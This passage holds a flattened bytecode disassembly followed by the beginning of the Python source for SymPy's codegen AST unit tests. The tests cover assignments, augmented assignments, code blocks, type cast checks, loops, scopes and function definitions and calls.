0x7fab82385300, file "f.py", line 578> LOAD_CONST 'test_Type__cast_check__floating_point.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab82385390, file "f.py", line 579> LOAD_CONST 'test_Type__cast_check__floating_point.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab82385420, file "f.py", line 580> LOAD_CONST 'test_Type__cast_check__floating_point.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab823854b0, file "f.py", line 581> LOAD_CONST 'test_Type__cast_check__floating_point.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL abs LOAD_CONST 123.456789049 LOAD_GLOBAL f32 LOAD_METHOD cast_check LOAD_CONST 123.456789049 CALL_METHOD BINARY_SUBTRACT LOAD_CONST 4.9e-08 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 1e-08 COMPARE_OP < POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL abs LOAD_CONST 0.12345678904 LOAD_GLOBAL f32 LOAD_METHOD cast_check LOAD_CONST 0.12345678904 CALL_METHOD BINARY_SUBTRACT LOAD_CONST 4e-11 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 1e-11 COMPARE_OP < POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Float LOAD_CONST '0.123456789012345670499' CALL_FUNCTION STORE_FAST dcm21 LOAD_GLOBAL abs LOAD_FAST dcm21 LOAD_GLOBAL f64 LOAD_METHOD cast_check LOAD_FAST dcm21 CALL_METHOD BINARY_SUBTRACT LOAD_CONST 4.99e-19 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 1e-19 COMPARE_OP < POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL f80 LOAD_METHOD cast_check LOAD_GLOBAL Float LOAD_CONST '0.12345678901234567890103' LOAD_CONST 88 LOAD_CONST ('precision',) CALL_FUNCTION CALL_METHOD POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab82385540, file "f.py", line 591> LOAD_CONST 'test_Type__cast_check__floating_point.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_CONST 12345.67894 STORE_DEREF v10 LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CLOSURE v10 BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7fab823855d0, file "f.py", line 595> LOAD_CONST 'test_Type__cast_check__floating_point.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL abs LOAD_GLOBAL Float LOAD_GLOBAL str LOAD_DEREF v10 CALL_FUNCTION LOAD_CONST 72 LOAD_CONST ('precision',) CALL_FUNCTION LOAD_GLOBAL f64 LOAD_METHOD cast_check LOAD_DEREF v10 CALL_METHOD BINARY_SUBTRACT CALL_FUNCTION LOAD_DEREF v10 LOAD_CONST 1e-16 BINARY_MULTIPLY COMPARE_OP < POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL abs LOAD_GLOBAL f32 LOAD_METHOD cast_check LOAD_CONST 2147483647 CALL_METHOD LOAD_CONST 2147483650 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 1 COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL f32 LOAD_METHOD cast_check LOAD_CONST 123.45678949 CALL_METHOD RETURN_VALUE LOAD_GLOBAL f32 LOAD_METHOD cast_check LOAD_CONST 12.345678949 CALL_METHOD RETURN_VALUE LOAD_GLOBAL f32 LOAD_METHOD cast_check LOAD_CONST 1.2345678949 CALL_METHOD RETURN_VALUE LOAD_GLOBAL f32 LOAD_METHOD cast_check LOAD_CONST 0.12345678949 CALL_METHOD RETURN_VALUE LOAD_GLOBAL f80 LOAD_METHOD cast_check LOAD_GLOBAL Float LOAD_CONST '0.12345678901234567890149' LOAD_CONST 88 LOAD_CONST ('precision',) CALL_FUNCTION CALL_METHOD RETURN_VALUE LOAD_GLOBAL f32 LOAD_METHOD cast_check LOAD_DEREF v10 CALL_METHOD RETURN_VALUE LOAD_CONST (123.456789049+0.123456789049j) STORE_FAST val9_11 LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab82385780, file "f.py", line 603> LOAD_CONST 'test_Type__cast_check__complex_floating_point.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL abs LOAD_FAST val9_11 LOAD_GLOBAL c64 LOAD_METHOD cast_check LOAD_FAST val9_11 CALL_METHOD BINARY_SUBTRACT LOAD_CONST 4.9e-08 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 1e-08 COMPARE_OP < POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Float LOAD_CONST '0.123456789012345670499' CALL_FUNCTION LOAD_CONST 1e-20j BINARY_ADD STORE_FAST dcm21 LOAD_GLOBAL abs LOAD_FAST dcm21 LOAD_GLOBAL c128 LOAD_METHOD cast_check LOAD_FAST dcm21 CALL_METHOD BINARY_SUBTRACT LOAD_CONST 4.99e-19 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 1e-19 COMPARE_OP < POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Float LOAD_CONST '0.1234567890123456749' CALL_FUNCTION LOAD_CONST 1j LOAD_GLOBAL Float LOAD_CONST '0.1234567890123456749' CALL_FUNCTION BINARY_MULTIPLY BINARY_ADD STORE_DEREF v19 LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CLOSURE v19 BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7fab82385810, file "f.py", line 609> LOAD_CONST 'test_Type__cast_check__complex_floating_point.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL c64 LOAD_METHOD cast_check LOAD_CONST (0.12345678949+0.12345678949j) CALL_METHOD RETURN_VALUE LOAD_GLOBAL c128 LOAD_METHOD cast_check LOAD_DEREF v19 CALL_METHOD RETURN_VALUE LOAD_GLOBAL AddAugmentedAssignment LOAD_GLOBAL x LOAD_CONST 1 CALL_FUNCTION STORE_FAST xpp LOAD_GLOBAL While LOAD_GLOBAL x LOAD_CONST 2 COMPARE_OP < LOAD_FAST xpp BUILD_LIST CALL_FUNCTION STORE_FAST whl1 LOAD_FAST whl1 LOAD_ATTR condition LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR LOAD_GLOBAL x COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST whl1 LOAD_ATTR condition LOAD_ATTR args LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST whl1 LOAD_ATTR condition LOAD_GLOBAL Lt LOAD_GLOBAL x LOAD_CONST 2 LOAD_CONST False LOAD_CONST ('evaluate',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST whl1 LOAD_ATTR body LOAD_ATTR args LOAD_FAST xpp BUILD_TUPLE COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST whl1 LOAD_ATTR func LOAD_FAST whl1 LOAD_ATTR args CALL_FUNCTION LOAD_FAST whl1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL CodeBlock LOAD_GLOBAL AddAugmentedAssignment LOAD_GLOBAL x LOAD_CONST 1 CALL_FUNCTION CALL_FUNCTION STORE_FAST cblk LOAD_GLOBAL While LOAD_GLOBAL x LOAD_CONST 2 COMPARE_OP < LOAD_FAST cblk CALL_FUNCTION STORE_FAST whl2 LOAD_FAST whl1 LOAD_FAST whl2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST whl1 LOAD_GLOBAL While LOAD_GLOBAL x LOAD_CONST 3 COMPARE_OP < LOAD_FAST xpp BUILD_LIST CALL_FUNCTION COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Assignment LOAD_GLOBAL x LOAD_GLOBAL y CALL_FUNCTION STORE_FAST assign LOAD_GLOBAL AddAugmentedAssignment LOAD_GLOBAL x LOAD_CONST 1 CALL_FUNCTION STORE_FAST incr LOAD_GLOBAL Scope LOAD_FAST assign LOAD_FAST incr BUILD_LIST CALL_FUNCTION STORE_FAST scp LOAD_GLOBAL CodeBlock LOAD_FAST assign LOAD_FAST incr CALL_FUNCTION STORE_FAST cblk LOAD_FAST scp LOAD_ATTR body LOAD_FAST cblk COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST scp LOAD_GLOBAL Scope LOAD_FAST cblk CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST scp LOAD_GLOBAL Scope LOAD_FAST incr LOAD_FAST assign BUILD_LIST CALL_FUNCTION COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST scp LOAD_ATTR func LOAD_FAST scp LOAD_ATTR args CALL_FUNCTION LOAD_FAST scp COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '%d %.3f' STORE_FAST fmt LOAD_GLOBAL Print LOAD_GLOBAL n LOAD_GLOBAL x BUILD_LIST LOAD_FAST fmt CALL_FUNCTION STORE_FAST ps LOAD_GLOBAL str LOAD_FAST ps LOAD_ATTR format_string CALL_FUNCTION LOAD_FAST fmt COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ps LOAD_ATTR print_args LOAD_GLOBAL Tuple LOAD_GLOBAL n LOAD_GLOBAL x CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ps LOAD_ATTR args LOAD_GLOBAL Tuple LOAD_GLOBAL n LOAD_GLOBAL x CALL_FUNCTION LOAD_GLOBAL QuotedString LOAD_FAST fmt CALL_FUNCTION LOAD_GLOBAL none BUILD_TUPLE COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ps LOAD_GLOBAL Print LOAD_GLOBAL n LOAD_GLOBAL x BUILD_TUPLE LOAD_FAST fmt CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ps LOAD_GLOBAL Print LOAD_GLOBAL x LOAD_GLOBAL n BUILD_LIST LOAD_FAST fmt CALL_FUNCTION COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ps LOAD_ATTR func LOAD_FAST ps LOAD_ATTR args CALL_FUNCTION LOAD_FAST ps COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Print LOAD_GLOBAL n LOAD_GLOBAL x BUILD_LIST CALL_FUNCTION STORE_FAST ps2 LOAD_FAST ps2 LOAD_GLOBAL Print LOAD_GLOBAL n LOAD_GLOBAL x BUILD_LIST CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ps2 LOAD_FAST ps COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ps2 LOAD_ATTR format_string LOAD_CONST None COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Variable LOAD_GLOBAL x LOAD_GLOBAL real LOAD_CONST ('type',) CALL_FUNCTION STORE_FAST vx LOAD_GLOBAL Variable LOAD_GLOBAL n LOAD_GLOBAL integer LOAD_CONST ('type',) CALL_FUNCTION STORE_FAST vn LOAD_GLOBAL FunctionPrototype LOAD_GLOBAL real LOAD_CONST 'power' LOAD_FAST vx LOAD_FAST vn BUILD_LIST CALL_FUNCTION STORE_FAST fp1 LOAD_FAST fp1 LOAD_ATTR return_type LOAD_GLOBAL real COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST fp1 LOAD_ATTR name LOAD_GLOBAL String LOAD_CONST 'power' CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST fp1 LOAD_ATTR parameters LOAD_GLOBAL Tuple LOAD_FAST vx LOAD_FAST vn CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST fp1 LOAD_GLOBAL FunctionPrototype LOAD_GLOBAL real LOAD_CONST 'power' LOAD_FAST vx LOAD_FAST vn BUILD_LIST CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST fp1 LOAD_GLOBAL FunctionPrototype LOAD_GLOBAL real LOAD_CONST 'power' LOAD_FAST vn LOAD_FAST vx BUILD_LIST CALL_FUNCTION COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST fp1 LOAD_ATTR func LOAD_FAST fp1 LOAD_ATTR args CALL_FUNCTION LOAD_FAST fp1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Assignment LOAD_GLOBAL x LOAD_GLOBAL x LOAD_GLOBAL n BINARY_POWER CALL_FUNCTION LOAD_GLOBAL Return LOAD_GLOBAL x CALL_FUNCTION BUILD_LIST STORE_FAST body LOAD_GLOBAL FunctionDefinition LOAD_GLOBAL real LOAD_CONST 'power' LOAD_FAST vx LOAD_FAST vn BUILD_LIST LOAD_FAST body CALL_FUNCTION STORE_FAST fd1 LOAD_FAST fd1 LOAD_ATTR return_type LOAD_GLOBAL real COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL str LOAD_FAST fd1 LOAD_ATTR name CALL_FUNCTION LOAD_CONST 'power' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST fd1 LOAD_ATTR parameters LOAD_GLOBAL Tuple LOAD_FAST vx LOAD_FAST vn CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST fd1 LOAD_ATTR body LOAD_GLOBAL CodeBlock LOAD_FAST body CALL_FUNCTION COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST fd1 LOAD_GLOBAL FunctionDefinition LOAD_GLOBAL real LOAD_CONST 'power' LOAD_FAST vx LOAD_FAST vn BUILD_LIST LOAD_FAST body CALL_FUNCTION COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST fd1 LOAD_GLOBAL FunctionDefinition LOAD_GLOBAL real LOAD_CONST 'power' LOAD_FAST vx LOAD_FAST vn BUILD_LIST LOAD_FAST body LOAD_CONST None LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR CALL_FUNCTION COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST fd1 LOAD_ATTR func LOAD_FAST fd1 LOAD_ATTR args CALL_FUNCTION LOAD_FAST fd1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL FunctionPrototype LOAD_METHOD from_FunctionDefinition LOAD_FAST fd1 CALL_METHOD STORE_FAST fp2 LOAD_FAST fp2 LOAD_FAST fp1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL FunctionDefinition LOAD_METHOD from_FunctionPrototype LOAD_FAST fp1 LOAD_FAST body CALL_METHOD STORE_FAST fd2 LOAD_FAST fd2 LOAD_FAST fd1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Return LOAD_GLOBAL x CALL_FUNCTION STORE_FAST rs LOAD_FAST rs LOAD_ATTR args LOAD_GLOBAL x BUILD_TUPLE COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST rs LOAD_GLOBAL Return LOAD_GLOBAL x CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST rs LOAD_GLOBAL Return LOAD_GLOBAL y CALL_FUNCTION COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST rs LOAD_ATTR func LOAD_FAST rs LOAD_ATTR args CALL_FUNCTION LOAD_FAST rs COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL FunctionCall LOAD_CONST 'power' LOAD_GLOBAL x LOAD_CONST 3 BUILD_TUPLE CALL_FUNCTION STORE_FAST fc LOAD_FAST fc LOAD_ATTR function_args LOAD_CONST 0 BINARY_SUBSCR LOAD_GLOBAL x COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST fc LOAD_ATTR function_args LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST fc LOAD_ATTR function_args CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST fc LOAD_ATTR function_args LOAD_CONST 1 BINARY_SUBSCR LOAD_GLOBAL Integer CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST fc LOAD_GLOBAL FunctionCall LOAD_CONST 'power' LOAD_GLOBAL x LOAD_CONST 3 BUILD_TUPLE CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST fc LOAD_GLOBAL FunctionCall LOAD_CONST 'power' LOAD_CONST 3 LOAD_GLOBAL x BUILD_TUPLE CALL_FUNCTION COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST fc LOAD_GLOBAL FunctionCall LOAD_CONST 'Power' LOAD_GLOBAL x LOAD_CONST 3 BUILD_TUPLE CALL_FUNCTION COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST fc LOAD_ATTR func LOAD_FAST fc LOAD_ATTR args CALL_FUNCTION LOAD_FAST fc COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL FunctionCall LOAD_CONST 'fma' LOAD_CONST 2 LOAD_CONST 3 LOAD_CONST 4 BUILD_LIST CALL_FUNCTION STORE_FAST fc2 LOAD_GLOBAL len LOAD_FAST fc2 LOAD_ATTR function_args CALL_FUNCTION LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST fc2 LOAD_ATTR function_args LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST fc2 LOAD_ATTR function_args LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST fc2 LOAD_ATTR function_args LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST 4 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL str LOAD_FAST fc2 CALL_FUNCTION LOAD_CONST ('FunctionCall(fma, function_args=(2, 3, 4))', 'FunctionCall("fma", function_args=(2, 3, 4))') COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Variable LOAD_CONST 'x' LOAD_GLOBAL real CALL_FUNCTION STORE_FAST x LOAD_GLOBAL Variable LOAD_CONST 'y' LOAD_GLOBAL real CALL_FUNCTION STORE_FAST y LOAD_GLOBAL Variable LOAD_CONST 'n' LOAD_GLOBAL integer CALL_FUNCTION STORE_FAST n LOAD_GLOBAL FunctionDefinition LOAD_GLOBAL real LOAD_CONST 'pwer' LOAD_FAST x LOAD_FAST n BUILD_LIST LOAD_GLOBAL pow LOAD_FAST x LOAD_ATTR symbol LOAD_FAST n LOAD_ATTR symbol CALL_FUNCTION BUILD_LIST CALL_FUNCTION STORE_FAST pwer LOAD_FAST pwer LOAD_ATTR name STORE_FAST pname LOAD_GLOBAL FunctionCall LOAD_CONST 'pwer' LOAD_FAST y LOAD_CONST 3 BUILD_LIST CALL_FUNCTION STORE_FAST pcall LOAD_GLOBAL CodeBlock LOAD_FAST pwer LOAD_FAST pcall CALL_FUNCTION STORE_FAST tree1 LOAD_GLOBAL str LOAD_FAST tree1 LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR name CALL_FUNCTION LOAD_CONST 'pwer' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL str LOAD_FAST tree1 LOAD_ATTR args LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR name CALL_FUNCTION LOAD_CONST 'pwer' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS SETUP_LOOP to 178 LOAD_GLOBAL zip LOAD_FAST tree1 LOAD_FAST pwer LOAD_FAST pcall BUILD_LIST CALL_FUNCTION GET_ITER FOR_ITER to 176 UNPACK_SEQUENCE STORE_FAST a STORE_FAST b LOAD_FAST a LOAD_FAST b COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_FAST tree1 LOAD_METHOD replace LOAD_FAST pname LOAD_GLOBAL String LOAD_CONST 'power' CALL_FUNCTION CALL_METHOD STORE_FAST tree2 LOAD_GLOBAL str LOAD_FAST tree1 LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR name CALL_FUNCTION LOAD_CONST 'pwer' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL str LOAD_FAST tree1 LOAD_ATTR args LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR name CALL_FUNCTION LOAD_CONST 'pwer' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL str LOAD_FAST tree2 LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR name CALL_FUNCTION LOAD_CONST 'power' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL str LOAD_FAST tree2 LOAD_ATTR args LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR name CALL_FUNCTION LOAD_CONST 'power' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE
import math from sympy.core.containers import Tuple from sympy.core.numbers import nan, oo, Float, Integer from sympy.core.relational import Lt from sympy.core.symbol import symbols, Symbol from sympy.functions.elementary.trigonometric import sin from sympy.matrices.dense import Matrix from sympy.matrices.expressions.matexpr import MatrixSymbol from sympy.sets.fancysets import Range from sympy.tensor.indexed import Idx, IndexedBase from sympy.testing.pytest import raises from sympy.codegen.ast import ( Assignment, Attribute, aug_assign, CodeBlock, For, Type, Variable, Pointer, Declaration, AddAugmentedAssignment, SubAugmentedAssignment, MulAugmentedAssignment, DivAugmentedAssignment, ModAugmentedAssignment, value_const, pointer_const, integer, real, complex_, int8, uint8, float16 as f16, float32 as f32, float64 as f64, float80 as f80, float128 as f128, complex64 as c64, complex128 as c128, While, Scope, String, Print, QuotedString, FunctionPrototype, FunctionDefinition, Return, FunctionCall, untyped, IntBaseType, intc, Node, none, NoneToken, Token, Comment, ) x, y, z, t, x0, x1, x2, a, b = symbols("x, y, z, t, x0, x1, x2, a, b") n = symbols("n", integer=True) A = MatrixSymbol("A", 3, 1) mat = Matrix([1, 2, 3]) B = IndexedBase("B") i = Idx("i", n) A22 = MatrixSymbol("A22", 2, 2) B22 = MatrixSymbol("B22", 2, 2) def test_Assignment(): Assignment(x, y) Assignment(x, 0) Assignment(A, mat) Assignment(A[1, 0], 0) Assignment(A[1, 0], x) Assignment(B[i], x) Assignment(B[i], 0) a = Assignment(x, y) assert a.func(*a.args) == a assert a.op == ":=" raises(ValueError, lambda: Assignment(B[i], A)) raises(ValueError, lambda: Assignment(B[i], mat)) raises(ValueError, lambda: Assignment(x, mat)) raises(ValueError, lambda: Assignment(x, A)) raises(ValueError, lambda: Assignment(A[1, 0], mat)) raises(ValueError, lambda: Assignment(A, x)) raises(ValueError, lambda: Assignment(A, 0)) raises(TypeError, lambda: Assignment(mat, A)) raises(TypeError, lambda: Assignment(0, x)) raises(TypeError, lambda: Assignment(x * x, 1)) raises(TypeError, lambda: Assignment(A + A, mat)) raises(TypeError, lambda: Assignment(B, 0)) def test_AugAssign(): aug_assign(x, "+", y) aug_assign(x, "+", 0) aug_assign(A, "+", mat) aug_assign(A[1, 0], "+", 0) aug_assign(A[1, 0], "+", x) aug_assign(B[i], "+", x) aug_assign(B[i], "+", 0) for binop, cls in [ ("+", AddAugmentedAssignment), ("-", SubAugmentedAssignment), ("*", MulAugmentedAssignment), ("/", DivAugmentedAssignment), ("%", ModAugmentedAssignment), ]: a = aug_assign(x, binop, y) b = cls(x, y) assert a.func(*a.args) == a == b assert a.binop == binop assert a.op == binop + "=" raises(ValueError, lambda: aug_assign(B[i], "+", A)) raises(ValueError, lambda: aug_assign(B[i], "+", mat)) raises(ValueError, lambda: aug_assign(x, "+", mat)) raises(ValueError, lambda: aug_assign(x, "+", A)) raises(ValueError, lambda: aug_assign(A[1, 0], "+", mat)) raises(ValueError, lambda: aug_assign(A, "+", x)) raises(ValueError, lambda: aug_assign(A, "+", 0)) raises(TypeError, lambda: aug_assign(mat, "+", A)) raises(TypeError, lambda: aug_assign(0, "+", x)) raises(TypeError, lambda: aug_assign(x * x, "+", 1)) raises(TypeError, lambda: aug_assign(A + A, "+", mat)) raises(TypeError, lambda: aug_assign(B, "+", 0)) def test_Assignment_printing(): assignment_classes = [ Assignment, AddAugmentedAssignment, SubAugmentedAssignment, MulAugmentedAssignment, DivAugmentedAssignment, ModAugmentedAssignment, ] pairs = [ (x, 2 * y + 2), (B[i], x), (A22, B22), (A[0, 0], x), ] for cls in assignment_classes: for lhs, rhs in pairs: a = cls(lhs, rhs) assert repr(a) == "%s(%s, %s)" % (cls.__name__, repr(lhs), repr(rhs)) def test_CodeBlock(): c = CodeBlock(Assignment(x, 1), Assignment(y, x + 1)) assert c.func(*c.args) == c assert c.left_hand_sides == Tuple(x, y) assert c.right_hand_sides == Tuple(1, x + 1) def test_CodeBlock_topological_sort(): assignments = [ Assignment(x, y + z), Assignment(z, 1), Assignment(t, x), Assignment(y, 2), ] ordered_assignments = [ Assignment(z, 1), Assignment(y, 2), Assignment(x, y + z), Assignment(t, x), ] c1 = CodeBlock.topological_sort(assignments) assert c1 == CodeBlock(*ordered_assignments) invalid_assignments = [ Assignment(x, y + z), Assignment(z, 1), Assignment(y, x), Assignment(y, 2), ] raises(ValueError, lambda: CodeBlock.topological_sort(invalid_assignments)) free_assignments = [ Assignment(x, y + z), Assignment(z, a * b), Assignment(t, x), Assignment(y, b + 3), ] free_assignments_ordered = [ Assignment(z, a * b), Assignment(y, b + 3), Assignment(x, y + z), 